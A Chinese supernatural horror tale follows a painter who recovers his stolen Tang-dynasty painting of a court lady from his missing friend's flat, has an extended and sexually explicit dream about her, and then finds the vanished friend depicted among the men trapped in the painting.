辗转一个月过去了,庄周终于放弃了最后徒劳的等待,慢慢从失去那副古画的低谷中走了出来,重新投入自己日愈临近的个人画展中,用繁忙的工作来冲淡自己对那副古画的记忆。事实上,最近庄周每天回到家里的时候都已接近深夜,匆匆洗个热水澡后很快就进入深沉的梦乡,尽管偶尔仍会想起那副古画,想起那画中女子带给自己的震撼以及诱惑,但最终抵不住睡魔的侵袭,再没有重回昔日那醉人的梦境。

伤逝

庄周手头上着正筹办那个商业画展遇到一些问题,经过多方商榷仍没有找到合理的解决方法,忽然想到好朋友周穆曾经成功举办过几个商业画展,也许他会有这方面的处理经验,找周穆商量一些有关事宜可能会有帮助,可是打电话到周穆的工作室,里面的小妹告诉他周穆已经一星期没来工作室了,这时庄周方才省起周穆也已经很久没有来找过自己了,平常每周他总得来个两三次,连他家里的父母亲戚也没有任何他的音讯,手机关机,住所里电话也没有人接听。

庄周虽然素来懒散,但毕竟周穆是他为数不多的朋友,而且还有事情找他帮忙,于公于私,都应该上门去拜访周穆一下。于是去了周穆的家,门紧锁着,窗户也关得严严实实地,任庄周在外面喊破了嗓子,将房们敲得震天响,也没人出来应门,显然他人也不在家。

事情显然有些奇怪,周穆虽然经常不时玩个放假失踪什么的,但基本都不会超过三天,而且每次都会先留下口讯,此番不声不响地失踪超过一个星期,实在令人难以平常视之。无奈之下,庄周最终还是选择了报警,并且通知了周穆的父母。因为忽然之间,他心中有种极其不祥的预感,担心周穆可能出事了。

十分钟后,警车一路呼啸而至,数小时后,周穆的父母也陆续前来,警察打开周穆居室的门,发现门是从里面反锁上的,费了好大力气才将那装有现代先进防盗装置的门给撬开,经过警方仔细勘察搜索,在房间里找到了周穆的钱包、他家里和工作室的钥匙、他的手机,还有应该是换下的外套、裤子等,所有的东西全放在卧室的桌子上,床上的被子没有折,一看就知道曾有人在睡觉,只是不知道那人什么时候起床,随手就将被子掀在一旁,之后似乎就没再动过,门窗及阳台的防盗网良好,全无被撬的痕迹,屋里也没有被盗或扭打的痕迹。

而且依据最后看见周穆的公寓保安人员交代,一周前的晚上他清楚记得周穆确实回来睡的,因为当时他正在值班室收听欧锦赛赛事消息,周穆经过的时候听到捷克0:1银球惨败给希腊时,还神情激动地冲着他喊了句:“希腊这种保守的球队都可以胜捷克,真是幸运到家了……”之后,他再也没见周穆出来。

第二天换班的人员也肯定地说,没见过周穆走出公寓,因为他是周穆作品的崇拜者,每次见到周穆总要向他打个招呼……而且从周穆家里的情况来看,周穆也确实没有离开过房间,警方把那套放在床边的衣裤给值班人员过目,也证实确实是失踪前当晚所穿的。那这样的话,就是说,周穆是“在家里”失踪了!而且应该是莫名失踪!就好象躺在床上凭空消失了一般。

周穆工作室里的其他工作人员和左右隔壁的邻居完全提供不出任何线索,只有庄周忽然想起在周穆失踪的前几天晚上似乎有打来过电话,声音犹豫含糊,看起来有些问题想问,但最后吞吞吐吐,打了几个哈哈,又什么也没说就挂了。

因为当时已是深夜二、三点了,庄周是在睡梦中被吵醒,自然没有太多的精神去留意追问,而且这种事情周穆是早有前科,对此他也并不觉得特别奇怪,周穆向来是这种人,凡事喜欢随心所欲、我行我素,还美其名曰是艺术家该有的个性!而这似乎也无法给警方侦破提供任何帮助。从家里匆匆赶来的周穆父母更是一问三不知,完全不知怎么回事。

警方和周穆的父母也曾细心查看了周穆家里的东西,看是否有什么异常的东西留下,但也没什么发现。

倒是庄周无意间注意到周穆的床尾处就如他住所般,也在他自己家原本挂那失窃的古画位置挂着一副画,画是周穆自己的作品,看起来是周穆的得意之作,经过精心裱装过,画框又大又厚,几乎占据了整块床尾对着的墙面,那是一副抽象画,或者按周穆执意要称其为意象画。

庄周和周穆虽然同是画家,又是好友,但对于彼此的作品,相互都不怎么欣赏,为此周穆有一次曾感叹:两人道不同仍是知交!如今斯人已逝,余言在耳,庄周不由得一阵黯然。

周穆的失踪成了悬案,为此市政府还成立了专案小组,特别研究这宗离奇古怪的案件。一方面是因为周穆也算是本市颇有名气的的画家,更多的原因是案件本身引起了犯罪专家们的兴趣,他们希望能找出到底是什么原因使得周穆会在这种情形下消失。到最后,参加专案组的人越来越多,分量也越来越重,说法和意见也越来越离奇,可结果无一能令人满意,甚至提出看法的当事人也无法自圆其说,最终,周穆失踪的案件被列为全国十大疑案之首!

警方没有任何结果和说法,所有知名的专家们束手无策,周穆的父母在极度的悲伤之下,最终无奈返回自己居住的家里,由于他们住得离周穆住所较远,而且为免睹物思人,徒惹伤心,于是把周穆的居室钥匙交给庄周,请他照看一下,万一哪天周穆回来的话……重归

庄周其实住的地方和周穆的住所相距不算太远,之前只是懒得出门才少有相互串门,不过以前周穆倒是经常过来看看他,使他在寂寞孤寂中不至于太失落,至少,大大冲淡了他被世人刻意遗忘的感觉。

现在想起来,周穆虽然有很多缺点,但对于自己而言,确实是个不可多得的好友,如今他人不在了,庄周觉得自己有必要常常去周穆的居室看一看,帮他清理打扫一下房间,毕竟,周穆只是暂时失踪而已,随时都有可能再次出现在他的眼前,一如他走时那样离奇。反正这里离他住的地方不远,受人之托忠人之事,这也是义不容辞的事情。

来来去去,半年过去了,周穆仍没有回来,警方也没有更进一步的消息和进展。不知是否受周穆的影响,庄周的生活开始变得丰富多彩起来,他开始频频出现在一些社交场合,也开始喜欢和一些陌生或熟悉的朋友或者生意伙伴一起交际应酬,经常流连于声色犬马的烟花之地,在这样的情况下,他创作的时间越来越少,但奇怪的是,他的作品反而更畅销了,也因此,庄周更是放开心怀,享受这迟来的领悟和晚到的幸福!

一天夜里,庄周和朋友从酒吧喝完酒微微有点醉意地走出来,已是太晚了,等庄周回到自己住的地方都不用睡觉了。幸好这里离周穆的住所还算很近,虽然庄周住的公寓离周穆住所也不太远,只有40几分钟的车程,但若是从酒吧出发恐怕就要1个多小时才可以回到家,而且明天六点庄周就要赶一趟飞机去香港,还是周穆的住所离机场较近。因此,庄周有些迷糊的脑子里稍加思索,就决定打算先去周穆那里睡一夜,明早起来正好赶上第一班飞机。

庄周驱车来到周穆的公寓,由于之前多次来过,公寓的保安人员都已经认识他了,微笑着向他点头示意,放任他进入。庄周掏出钥匙打开门,算来也有近一个星期没有到这里来了,最近确实有些忙。不过,房间里仍保持着整洁,空气中因长久不通风,感觉有些气闷,庄周进门拉开灯后,首先将房间里的窗户完全打开,一股凉爽的夜风迎面吹来,庄周微薰的头脑感到一阵清凉,顿时连最后一丝酒意也消散无影。

在宁静的深夜,脑子太清醒似乎也不是一件好事,至少现在的庄周就觉得无所事事又没有丝毫睡意,洗澡水也刚开始放进浴盆,要注满还需要一段时间,暂时只能无聊地靠在床上,头向后仰,靠着墙闭目养神。

谁知,头方一靠下,后脑硬硬的有些疼痛,侧头一看,原来自己头正好靠在周穆那副超大型画的角上,硬木质地的画框棱角分明,上面还雕刻着一些花纹图案,看上去十分考究,有种古朴的味道,这似乎与这副意象画有点不协调……庄周刚想到这,眼前忽然一黑,一片乌云笼罩而下劈头盖脸地压在他头上,“哗——”地一声,顺着庄周的头跌落到床上,一分为二。

庄周被砸得愣了一下,晃了晃脑袋,好半晌才回过神来,眨了眨眼睛,方看清楚掉落在床上的原来是原本挂在墙上的那副巨型意象画,怪不得这样沉重,打得脑袋生痛,可能是方才自己转过头去的时候不小心将它给蹭落下来,自己倒霉不说,还把好友周穆最得意的作品给毁了……庄周心理暗自惭愧一把,赶紧爬起身将那分成两片的画框拿了起来,预备再将它拼装回去,好在虽然散开两片,画看样子却没什么损坏。

忽然,庄周的目光凝滞了,呆呆地定格在其中一片画框上。画框里镶着一副画,体积比原来的画要小得多,只占据了画框最中心的位置,色泽微黄,似乎是绢布质地,明亮的灯光照射下,一位身着唐朝宫装的仕女栩栩如生地展现画间,风姿慵懒、巧笑嫣然,正含情脉脉地凝视着庄周……眼前赫然正是庄周那副早已失窃的古画!

庄周心中先是一阵狂喜,而后又是一阵黯然,古画失而复得,固然令他欣喜若狂,可是挚友离奇失踪,而失窃的古画却在他家里出现,这两者之间似乎有种奇异的联系,庄周心中隐隐升起一个古怪的念头,一闪而逝,来不及抓住它。却使得他感到一阵莫名的后怕,他不知道自己在担心什么,只是全副身心在那一瞬间,似乎触摸到某种东西……庄周将身子向后靠了靠,脸紧贴着墙壁,冰冷的墙面使他清醒不少,理了理纷乱的思绪:毫无疑问,显然是周穆拿走了古画,可能是他借用自己房子的时候复制了钥匙,而后趁他不在家的时候取走的。斯人已逝,庄周并不想责怪好友什么,只是不由得在心里想到,周穆为什么也看中这副画,难道他也做着和自己同样的梦?以周穆的风流多情,说得不好听点是滥交,他还需要在梦境中寻求满足?

微凉的夜风从窗台吹进房间,轻轻吹响了挂在窗前的古铜风铃,也敲散了庄周迷茫的思绪。夜深了,明早还有很多事情需要他处理,现在应该是洗个热水澡,上床睡觉,什么都不要去想,一切都到梦乡中许找答案吧!

庄周爬起身,走出几步,想了想还是转回身子,弯腰将床上的画拿起,但他并没有将两片画拼回去,只是将装着古画的那面重新挂回墙上,而另一面则顺手摆到书桌上,再退后端详几眼,方才满意地往浴室走去。

绮梦

洗完澡,庄周先找出一个闹钟调好时间,其实也睡不了多久,大概两个钟头后就要起床出发了,但如果不睡觉的话这样等待也是一段极其漫长的时间。所有的事情都基本准备妥当,庄周才熄了灯,无聊地躺到周穆的床上,这张床很久都没有人睡过,虽然庄周一直抽空过来整理打扫,但仍隐隐有点异味发出,许是受潮的缘故。所以庄周辗转反侧良久,都无法入睡。

百无聊赖间还是拉开灯,一抬眼,正好就看见了挂在正对面墙上那副失而复得的古画,画上的伊人正微笑着,笑颜如花,衣袂飞扬。巧笑倩兮,明眸善睐,庄周心中荡漾着这两句传诵千古的佳句,望着画中的伊人,凝视着伊人眼光中流露出极度的温柔和诱惑,不由得再次深深陶醉了,尤其是失而复得、旧梦重温的喜悦更令他难以自持、心猿意马。

“多么甜美销魂的女子,那样的丰姿、那样的笑颜,以前梦中经历的种种历历在目,如果真的能和这样的女子同梦高唐,云雨巫山,啊……”庄周一边在心里情难自禁地想着,一边忍不住从床上爬起身子,轻轻地将那副画摘下,将它拥入怀中,使那画中少女的笑颜正对紧贴着自己滚烫的胸口,就这样温存了半晌,方才重新躺回床上,随手关了床头灯,微醉的他怀着别样的心思很快睡着了,在那深甜的梦境中寻求生命最浓烈的极乐逍遥。

画中的女子并没有让庄周失望,幸运再次降临到庄周身上。这回画中的女子正好在一汪清澈的湖水里佳人出浴。庄周呆愣愣地行向通往湖边的小径,几乎举步维艰,一时难以相信眼前所见的美景竟然真的是现实。整片湖水处于一片树林茂密的山野中央,深蓝色的湖水依然清澈见底,水光反射着透过林梢射入的朝阳柔弱的光采,闪烁生辉,湖面雾薄霞轻,较远的地方隐没在茫茫的水气里,予人无尽无穷的辽阔感。蜿蜒逶迤的小径一头直伸进树林迷雾深处,一头通往幽美深邃的湖岸边,好比通往人生极乐的仙径。

那片清澈碧蓝的湖水一波一波轻轻荡漾着庄周的心田,激起一阵阵涟漪。抵达它就仿佛触摸到了人生美梦的极致!庄周立刻就在心里决定将它命名为专属于他和水中伊人的梦湖。梦湖哦,完美的人生再现!微风从梦湖吹来,拂上庄周的脸庞,在柔和的阳光亲吻下心神分外轻爽,山林花草宜人,梦湖轻波醉人,水中伊人却更加诱人!

伊人美若天界神物的躯体在湖水中荡漾,若隐若现。纤柔的手臂轻轻划入湖水中,荡起一个深深的漩涡,漩涡转了开去,一圈圈向外扩散,渐行渐远,终消失于渺渺碧水烟波里。

庄周伫立岸边,忍不住俯下身子,掬起一把清凉的湖水,迎面浇洒在自己的脸上,而后闭目仰脸,任一滴滴晶莹的湖水凝结成细珠,滑过脸颊,滴落唇角,湖水微咸,另有一股沁人心脾的清甜,微风拂发,轻柔的阳光,透过薄薄的湖雾晒射在脸上,好生惬意。庄周油然而生今昔何昔之感。

一声娇羞含笑的轻吟把庄周从遐想中唤醒,方才醒起眼前还有更美好的事物正等着他攫取采摘。低头睁目,视线正好捕捉到一条红尾小鲤鱼鱼尾轻摆,在伊人酥胸前划出一道优美的弧线,而此刻伊人娇颜红霞密布,星眸滴水般望着跃起湖面的鱼儿,素手捧胸,一副娇羞薄嗔的样儿。

此情此景,不难想见,刚才那条调皮的小鱼儿在伊人酥胸处轻薄戏水,甚至偷吻游移过圣洁的双峰。想念及此,庄周再按耐不住,来不及扯脱自己身上的衣衫,便“扑通”跳入湖内,向伊人所在游去。

绝色的伊人,一头黑如流云飞瀑的青丝随风飘舞,悄然立于湖水中央,黑玉般的晶莹澄净的星眸,正深情地凝视着他。湖面上的水雾在阳光照射下,逐渐化开,庄周可以愈发清晰地一览伊人绝世的容颜和感受她似水的柔情。

庄周缓缓地游到伊人身前,乖乖地垂手挺立,不敢有任何动作,怕一动就将破坏着人世间最珍贵的完美,眼前的伊人也会随风飘走。这样的美梦,他愿意永远沉睡不要醒来。

伊人动人心魄的容颜,散发着眩人眼目的光采。柔软的酥胸轻起轻伏,荡漾出一片片水波涟漪,鼻翼微微翕合,清香的气息似有若无。发丝随着旋动的薄雾拂舞,宛如潇湘洛水之神,直欲乘风而去。

庄周心神俱醉,凝视着伊人绝美容颜上每一个细微的变化,每一寸诱人的肌肤,想起古诗经里所言:所谓伊人,在水一方,辗转求之……忽然间,他发觉自己已将伊人紧紧拥入怀中。伊人香软的娇躯一阵颤动,偎依入怀,纤手热烈地反搂住他的腰间,迎就他的拥抱!

娇体入怀,馨香充盈鼻间,庄周心中刹时为此一刻震撼,梦湖的流水依然在两人身边流淌,时间却像是凝固了般,眼前的天地仿佛只剩下他们二人,下一刻,庄周的嘴寻上伊人的香唇,亲吻纠缠。良久,唇分,伊人芬芳檀口中娇喘吁吁,不经意地伸出小巧的香舌舔舐自己微张的樱唇;那双含情浅露、娇羞欲滴又似凄然无助充满哀婉凄艳之美的星眸,深情地凝望着庄周,就如他们身下的湖水般透明清澈、深邃隽永!

呆愣间,怀中紧拥的伊人轻巧地一转身,赤裸光滑的娇躯顺势滑落水中,在平静的湖面荡出一阵涟漪,水波划过,隐没消失在水中。庄周不由地感到一阵口干舌燥,穷目四顾,急切眺望寻觅着伊人的芳踪。湖水尽管清澈,却是如此深蓝,伊人就如原本生存于深海的美人鱼,与梦湖融为一体,空留庄周化作呆鸟,停侯守望!

湖面轻雾笼罩,水平如镜,四周一片宁寂,只是烟雨迷蒙。“哗啦!”焦急地等待中,庄周甚至按耐不住也准备潜入水中寻觅佳人时,湖面乍然荡开,一双手悠然升出,十指交叉幻化出白莲朵朵,从纯净的湖水中优雅地舒展开来,缓缓绽放,艳丽夺目!纤细修长的手指,宛若冰雕玉琢般的晶莹剔透,以最华丽的姿势向庄周这唯一的观众展示着莲的盛开,一如他此刻穷尽极乐的人生美梦。那对美丽的用尽世间言语也难以形容的手,在它那洁白晶莹几乎透明的皮肤之下,丝丝淡青色的经脉如莲的支脉,逶迤延伸,柔和的阳光映射中,散发出圣洁的华光,充满奇异诱人的生命力。

瞬间,就像那朝阳初升,伊人纤长柔美的手臂也完全浮出水面,尽情将它的美展示在庄周眼前:白皙如玉的肌肤是如此的细腻光滑,连一颗小水滴也无法短暂停留,闪动着明媚的光泽。随着手指间的动作在湖水上空轻舞,一如风中拂柳,摇曳婆娑,风情毕现!

紧接着湖面又是一阵轻波涟漪,浅浅破开,水中冒出一颗千娇百媚的臻首,冉冉上升,洁美如一朵婷婷出水的芙蓉,流瀑轻扬的如丝秀发,经过洁净清澈的湖水洗涤下,愈发显得黑亮如漆,光可照人。而在那清水涟漪里,伊人美不胜收的裸体再次印入他的眼帘,在梦湖里载浮载沉,若现若隐,更是散发出无穷的诱惑力!

水中的伊人口中发出银铃般的笑声,充满欢愉的俏脸给庄周送来一个迷人和有深意的笑容,含蕴着高度的挑逗味儿。原本凄然哀婉的秀目此刻盈溢着装载不住的野性、渴望和期待。

庄周的脑袋不受控制地发起热来,情欲之火急剧上升,一个虎扑潜入水中,凭着入水前认定的方向朝伊人所在地游去。

湖水清澈透明,庄周在水底睁开双目,水流涌入眼眶一阵清凉,短暂轻微的刺痛过后,眼睛很快适应了水压,眼前顿时呈现出一片幽蓝的世界,如此的清晰,以至于不远处伊人隐没水中的躯体也纤毫毕现地印入他的眼帘。庄周心中掠过一阵狂喜,加速朝伊人游去,不片刻,伊人那绝美的赤裸娇躯已然触手可及。

常言道:“灯下看美人,艳色另添三分”。却不知水里观花,更是别有一番风景:洁白粉嫩的酥胸堆雪玉砌,浑圆如两团雪球,随着水波轻荡,仿佛要在水中化开一般;上面点缀两点嫣红,恰似红梅傲立,孤芳自开,只等有缘人来攫取它的芬芳;逶迤滑下雪峰,浏览过平原风光,瞥见一轻浅圆润的梨涡,正细微地张缩着,顽皮地吞吐着湖水轻波;恋恋不舍下,惊见一处幽谷桃源,芳草如兰,水中涟漪,轻摆摇荡间,草丛深处粉红的玉贝若隐若现,如鱼儿吸水般微启微合,无声地发出强烈渴盼的召唤!一对纤细修长的玉腿如美人鱼尾般上下摆动,在水底激出朵朵浪花,那娇小红润的脚掌,浸润在湖水中,实在有惊心动魄的魅力,随着双腿的动作,伊人胯间的幽谷更是浪潮暗涌,不自觉地散发着靡靡信息……如此美景,其艳色又何止三分?

庄周的手完全失去控制般,自发地揽上伊人柳腰,手掌在伊人腰腹、翘臀间贪婪揉捏,双腿平伸,向外不断分水,保持着自己身体平衡,一张大嘴也不闲着,就在那萋萋芳草掩隐的幽谷处留连徘徊,尽情地亲吻舔弄着幽谷两旁鲜红粉嫩的肉壁。

水流一阵激荡,伊人不堪庄周无所不至的口手齐施,一对修长的玉腿崩紧伸直,再也难以轻松惬意地踩着水花,身躯乱晃了几下,像溺水一般整个身子重新没入湖水中。

庄周正中下怀般一对大手上移,飞速地攫取伊人雪白酥胸处高耸的乳峰,大嘴也随之而上,一口缀住她甜美的香唇,贪婪吮吸着她嘴里芬芳的津液,自然也趁机吸取一些新鲜的空气,在水里憋气太久,佳人的香唇无疑是救命稻草一般。

在水中折腾良久,直到伊人小嘴中储存的空气告绝,两人同感呼吸困难,方才恋恋不舍地双双浮出水面,双唇分开,大口大口的呼吸着湖面清新的空气,在此一刻,肢体仍纠缠厮摩,舍不得片刻分离。

两人就这样纠缠着游到岸边浅水处,庄周喘息方定,眼睛已被伊人因剧烈呼吸而荡漾起伏的乳波占据,双手立刻主动爱抚上去,向那对雪白可爱的乳峰展开前面的攻势。在他无所不至的挑逗下,伊人整个娇躯软倒在他怀里,目光一凝,贝齿一咬,小嘴嗔出声声腻人的娇哼,玉臂紧紧地环绕住爱郎的脖子,主动献上芬芳香软的樱唇。

庄周自然不会拒绝送到嘴边的美味,温柔地衔住伊人湿热的香唇,情动如潮,目中溢满令伊人心迷神醉的爱恋之火,含着伊人嘴唇忽轻忽重地呲咬,尤其是那香滑可口的下嘴唇片,简直令他爱不释口,一再留连。醉人的甜蜜渐渐从伊人小嘴里逐渐泛开,通过唇舌交缠流进他的口腔,蔓延至整个心湖,再一圈一圈地荡漾开来。

下意识地,庄周的手也毫不客气地入侵到伊人那萋萋芳草掩盖的私密花园,不小心碰落凝结在上面的晶莹露珠,滴在手背、掌心上,沁人的清凉,醉人的芬芳!使得他的动作也不自觉温柔起来。宽大温暖的手掌轻抚摩挲着那柔软细滑的小腹,探出修长灵活的手指,轻捻着那上面柔软卷曲、纤细丝滑的萋萋芳草,流连盘旋良久,方才恋恋不舍地转移阵地,又顺着柔软微凸的两片粉嫩花唇来回摩挲、逗弄、挤压,甚至分开紧闭的花唇,进入沁溢花蜜的幽径……随着手指的深入,庄周感觉幽谷里的空间越来越狭窄、紧缩,柔软而满布皱翳的肉壁全方位地包围挤压着他入侵的手指,并不住地吐出芬芳的花蜜企图粘滞抵抗他的入侵,但这反而更为入侵者打开了方便之门,庄周兴致大增,奋勇地在逐渐泥泞的花径里爬行,也顾不得是否可能中了诱敌深入的计谋,不退反进,并且加紧速度,全力挺进。

经过数月来灯红酒绿的生活,庄周已经可以说是久经风月的老手,自然知道怀里的伊人此刻被他全面挑起欲火春情,自然也不肯错过乘胜追击的良机,孤军深入的手指在伊人那越来越湿滑的花径中来回抽动、轻擦,在抵达那花径深处逐渐绽放的花芯时停止不动,指尖顶住花芯处最敏感娇嫩的花蕾,手腕微微用力,不住地旋转搅动,感受着花芯吞吐的酥软滑腻,体会着花径肉壁吮吸的紧缩销魂!

下一刻,庄周闪电般地抽出纵横肆虐的手指,拉出一丝丝晶亮的粘线,不意外地听到伊人若有所失的埋怨娇哼,抚摩上幽谷花径空虚而下意识夹紧摩擦的玉腿,四处游移,抚遍了伊人红嫩的脚掌、圆润的足踝、柔美的小腿、滑腻的大腿、丰嫩的翘臀、纤细的柳腰、光滑的香背、裸露的双肩……还不时迂回环绕至高耸挺立的雪白乳峰……在他无所不至地爱抚挑逗下,怀里的伊人身体变得火热滚烫,似乎连流淌环绕他们周围的湖水也不受控制地似要沸腾起来,薄雾转浓,奇异的是面前伊人的容颜反而愈发清晰,纤毫毕现。白皙的脸颊固然是红晕密布,秀美娇翘的鼻尖也仿佛沾染点缀了几滴嫣红,鼻翼翕动间,轻柔的呼吸转为急促,紧绷的玉体变得酥软如绵,那一波波由肉体蔓延舒展至整个心湖的销魂刺激,再无法停留心田,洪水泛滥般汹涌而出,却樱桃小嘴因为被庄周可恶的大嘴长期侵占着,被硬生生地卡在喉咙深处,无奈地化作一声声含糊的呻吟……大概是舍不得埋没伊人的娇喘呻吟,庄周满意地松开伊人被自己霸占肆虐的红唇,耳听着伊人无法抑制的娇啼大作,一路吻下,大嘴游移到那堆雪玉砌的乳峰,吮吸舔弄着伊人嫣红稚嫩的乳尖,口鼻间盈满如兰体香,轻易使他欲焰高涨。他一边亲吻逗弄着伊人鲜嫩的乳峰,一边双手分开伊人纤长的玉腿,让它们夹住自己的腰背,紧托着伊人翘臀,跨步爬上岸边,不及将怀里的伊人放倒在草地上,单手飞快地脱光自己身上的累赘,顺着俯身放下伊人之势,拱身躺倒,充满欲念的身躯压在了伊人柔软的玉体上,挺着火热坚挺的男性欲望,孤军深入挤开伊人含羞并拢的双腿,直接摩擦着伊人胯间私密的幽谷花园。

昂扬坚挺的男性欲望顶端一片滑腻湿润,显示着伊人幽谷花园里已是春水连绵,分不清是湖水抑或是幽谷深处溢出的清泉,此刻的庄周自然也无暇追究这些,玉茎摩擦着的幽谷肉壁正自发地吮吸着它顶端的华盖,像是催促着他挺身急进,直入花径。

感受着身下女体的不断扭动纠缠,耳旁穿来销魂腻人的娇喘呻吟,庄周早非昔日吴下阿蒙,不再是当初不识人生风月的初哥了,此刻当然深知伊人已是情怀大动、欲火滋生,正渴求他的滋润和充实,近一段时间来屡屡经受风月洗礼的他,自然不会辜负伊人的殷勤邀约,立刻单腿曲立,用膝盖抵入伊人早已不知不觉张开的大腿中央,玉茎怒挺,照准方位,挺身耸腰,火热粗长的玉茎已进入一片泥泞的花径。

蓦地,伊人发出一声如泣如诉的悠长呻吟,一直扭动蜷曲的身子骤然挺直,双腿绷紧,玄即又舒展开来,身子也犹如电击过后,轻颤不已,原本无所适从的小手紧搂住庄周的腰间,在他后背留下一道道红痕后,无力地垂落滑下身侧,不片刻又痉挛似地紧紧抓住湖岸边碧绿的春草,双腿却是自觉地配合着庄周的动作向外分开,渴盼着更多的充实和满足……昂扬坚挺的男性欲望一路挺进,玉茎感受着伊人幽谷外围两片花唇紧密的包夹,比之方才手指抽擦的挑逗,显然此刻的刺激更远甚于它,在最亲密的接触中,伊人幽谷外两片花唇极度充血涨红,不住地翕动颤抖,花径里流出更多又滑又腻的蜜液,使得庄周粗大的玉茎没有费很大的力气就撑开了守卫伊人贞洁的花唇,往幽谷花径深处挺进。不片刻,他已经感受到肿胀的玉茎被一层柔嫩的肉壁紧紧夹住,玉茎顶端的圆形华盖,更被温柔吮吸着,似乎花径深处还有一股莫名的吸力,强力诱惑着庄周挺着玉茎全力深入。

身心俱爽,美梦得偿的喜悦使得庄周愈发情欲如焚,不再迟疑,一鼓作气地将昂扬勃发的玉茎连根深入伊人花园尽头,一时间,一阵妙不可言的快感由下体泛滥开来,迅速蔓延至全身,刺激得他如登极乐仙境,双手发狂似的揉捏着伊人鼓胀的乳峰,任意变幻出自己想要的形状,下体连连挺动不休,躯体交接,肉体撞击的声音一下子在整个幽美宁静的湖畔环绕飘荡,久久不散。

随着他越来越猛烈的挺动,身下的伊人樱唇情不自禁地张开,发出如泣如诉似的呻吟,小手胡乱在他的腰背处抓紧松开,身子不断地扭动,不片刻便香汗淋漓,娇喘吁吁,听在庄周的耳中,别有一番销魂腻人的滋味,使得他像装了发动机似的,腰腹挺动加速,用足气力急抽猛送、长穿短打,竭力将身下的伊人送往一波又一波的快感浪潮中。

“啊……哦……口恩……呜——!”伊人终究抵不住庄周的勇猛,喉咙里无意识地发出声声含糊呻吟后,樱唇紧闭了片刻,又忽然张开,溢出一声短促而高昂的娇哼,星眸紧闭、秀眉微颦,一颗臻首极力向上仰着,不停左右摆动,满头青丝飞散,红晕密布的脸颊上,香汗欲滴,堆满混合着快乐满足还有几分痛楚的表情,脚掌后缩,小腿蜷曲而起,丰嫩的翘臀摩挲着碧绿绵软的春草,酥痒难耐地竭力向上耸挺着,花园深处的花芯绽放,片片花瓣混合着大量涌出的花蜜包围紧裹着庄周灼热的玉茎……庄周感觉自己快要淹没在这无边的快感浪潮中,腰部急速挺动数十下,口中低吼一声,俯身扑倒在伊人娇躯上,张嘴吻住伊人只懂得含糊娇喘呻吟的香唇,提臀收腹,紧贴住伊人胯间,使得自己蓬勃欲发的男性坚挺愈发深入,死命地抵住伊人蜜穴深处尽情展开的花芯,一阵间歇性地抖颤……惊魂

“哗啦啦——啦——啦——啦!”一阵闹铃声骤然响起,乍然惊醒的庄周条件反射式地从床上蹦跳起来,全身一阵激灵,脊椎酥麻,双腿抖颤,再也按耐不住,精关大开,久已积压的欲望如潮水般喷射而出……正舒畅快意间,忽然想及自己最最宝贝的那幅古画:原本紧贴胸前入睡的,此番折腾梦遗,刚才全身上蹿……呀——!完蛋了,肯定是射在上面,玷污神物了!

他此时哪里还有睡意,也顾不得全身莫名地乏力疲软,勉强翻身坐起依靠着床头,赶紧拉亮床头的电灯,首先入目的是床尾衣橱大镜里一个飘飘欲仙,如刚登极乐,中途被强行打断的疯狂不甘的模样!脸颊上依稀病态的苍白偏又异样的红晕,实在有些诡异。来不及多想,急切地在灯光下仔细审查那幅极尽诱惑的宝贝古画,看看有否受到丝毫损坏。

在明亮而不失柔和的光线下,一眼望去,庄周不禁疼惜中带着几分难堪地尴尬,心中懊丧的情绪是无以复加。

果然如他之前所预想的,原本被主人呵护倍至、纤尘不染的宝贝古画上已经是斑斑点点,几乎溅满了整个画面(咦?什么时候他的生殖功能居然如此强劲?怪不得直到现在还两眼昏花,双腿发虚呢!)“啊!这可如何是好?如此神物,可不容许有丝毫的损毁啊!真~~真~~是暴殄天物了~~!”

正懊丧间,忽然他发现了画中隐隐显现出那原本朦胧难见的背景,模糊间居然逐渐清晰地现出了一群服饰各异却神情如一的男子!再仔细看一下,他发现了那些男子的身上穿的衣物,似乎还是不同时代的,古今都有,甚至还有现时最流行的牛仔装……“画画的人,画技虽然绝妙,但其立意构思的却不甚高明啊!如此搭配,实在不甚协调,怪不得平时藏着不肯见人。”

虽然心中焦急无比,但缘于职业习惯,庄周还是下意识地以自己专业的目光挑剔着古画作者的造诣水平,呵呵,也算你有些自知之明啊!咦~~?看这幅画的绢质,肯定有些年代了,并且经专家鉴定过,应该是唐朝之物,那画工又怎会知道并且丝毫无误地画出现代的衣着呢?而且,这穿牛仔服的人好眼熟啊~~?庄周心里暗暗奇怪,边想还边仔细打量着画中那穿牛仔服的男子。

忽然,一阵冷汗从庄周的身上冒出来,他毛发都竖了起来,背上一阵阵地发冷,他想动一动,却发现浑身似乎都僵了,一动也动不了,他想喊一声,也喊不出声来。

那种感觉象是在梦中魇住了一般。由于过度的惊惧,致令他的呼吸,也不正常了起来,胸口感觉到一种压迫紧榨的疼痛。汗自额际淌下。他呆滞着无神的眼珠发出失魂落魄的骇意,毫无焦距地瞪视着画面,眼前已是一片黑暗。

夜色沉寂,冰冷的心灵在黑暗里黯无声息。他在黑暗中彷佛听到自己的心跳由密而急,一下一下重击在自己心坎肺壁上,好像一头已脱栓的惊鹿,不住的在他体内心口冲撞,直似非脱出胸腔心房来一般。

良久庄周的身心才微微感觉到些许温暖,眼帘依稀印入几丝灯光。终于他重新可以喘息,重新呼吸着弥足珍贵的空气。喉咙仍然哽塞,不能言语,但心神总算恢复正常思考功能!

古画中的仕女强烈地充满诱惑的媚笑这时在庄周的眼中已变得神秘而邪异,头部仍无法自然转动撇开画面,但目光的焦距自觉地转移,最后定格在离自己最近,画面背景里最靠前的男子上,冷汗已经自脸而起,蔓延全身溢出,湿透了全身的肌肤甚至身下的床单……但是庄周根本也已经顾不到这些了。

他的眼睛只是定定的盯在一个地方,是少女后面背景上的一个人,那一群男子中的一个!那穿牛仔服的男子!一张他非常熟悉的面孔!虽然已经不是他平时所熟悉的表情,那似乎迷醉在极度的欢乐中疯狂沉溺的神情!一如之前自己春梦乍醒的渴盼不足!一如古画背景中所有的各色男子!尽管如此,他仍可以清楚地认出这早已熟悉的面容。这早已在心中定型不变的轮廓!

那张面孔就是三年前莫名失踪的挚友,那曾令全省乃至全国警局和犯罪专家束手无策、久寻不获的名画家,列入轰动全国十大疑案之首的案件的始作俑者!

他!

居然、

居然是、

居然会是、

居然是周穆,

竟然会是周穆?

赫然就是、正是久逝的周穆!

结语

这只是一个虚幻的故事,可能有些玄妙,也可能有些恐怖!虽然围绕着一幅古画而展开,其实最终还是徒留一场春梦,惹人追思。

或许有人会问:“为什么千百年来,只有庄周才能发现画中的秘密呢?别人既然几乎都做着同样的事情,当然也有可能同样发现这个秘密的!”

